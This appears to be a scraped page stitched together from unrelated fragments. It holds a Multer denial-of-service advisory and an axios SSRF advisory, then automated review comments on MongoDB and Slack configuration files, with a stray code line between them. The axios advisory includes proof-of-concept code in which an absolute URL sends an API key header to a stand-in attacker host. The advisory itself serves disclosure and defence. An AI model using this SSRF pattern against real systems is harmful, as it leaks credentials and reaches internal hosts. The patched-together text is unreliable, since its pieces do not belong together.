Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

EPSS Percentile3rd percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

    return header.type !== 'file' && header.type !== 'directory'
  }

workers/main/src/configs/mongoDatabase.ts (2)

6-6: Security consideration for password handling.

The MongoDB password is being stored in plain text in the config object. Ensure that this configuration object is not logged or exposed in error messages to prevent credential leakage.

Consider implementing additional security measures such as:

  • Ensuring passwords are not logged in application logs
  • Using secure credential management systems if available
  • Implementing proper access controls for this configuration

10-15: Schema validation looks good.

The MongoDB schema properly validates all required connection parameters as strings. This provides good type safety and ensures all necessary environment variables are present.

workers/main/src/configs/slack.ts (2)

4-4: Security consideration for token handling.

The Slack token is sensitive authentication data. Ensure this configuration object is not logged or exposed in error messages to prevent credential leakage.

Verify that:

  • Slack tokens are not included in application logs
  • Error messages don't expose token values
  • Proper access controls are in place for this configuration

8-11: Schema validation is correctly implemented.

The Slack schema properly validates both required environment variables as strings, providing good type safety.

workers/main/src/configs/index.ts (3)

1-1: Import integration looks good.

The MongoDB schema import is properly added and follows the existing import pattern.


3-3: Import integration looks good.

The Slack schema import is properly added and follows the existing import pattern.


7-12:

✅ Verification successful

Schema merging is correctly implemented.

The new schemas are properly integrated into the existing validation chain. The merge pattern is consistent with the existing code structure.

To ensure the complete validation works correctly, run the following script to verify all environment variables are properly validated:


🏁 Script executed:

#!/bin/bash
# Description: Verify that all schemas are properly integrated and environment validation works

# Search for all schema definitions to ensure consistency
echo "=== All schema definitions ==="
ast-grep --pattern 'export const $SCHEMA = z.object({
  $$$
});'

# Search for the complete validation chain
echo "=== Validation chain ==="
rg -A 10 "export const validationResult"

Length of output: 2211


Validation chain includes all environment schemas
Verified that every defined schema—temporalSchema, workerSchema, slackSchema, redmineDatabaseSchema, and mongoDatabaseSchema—is present and merged in workers/main/src/configs/index.ts. No missing or duplicated entries were found; the validationResult chain correctly aggregates all environment variables.

- Modified the Slack configuration to directly assign environment variables for `token` and `channelId` without converting them to strings.

This change simplifies the configuration setup for Slack integration, ensuring that the environment variables are used as intended.
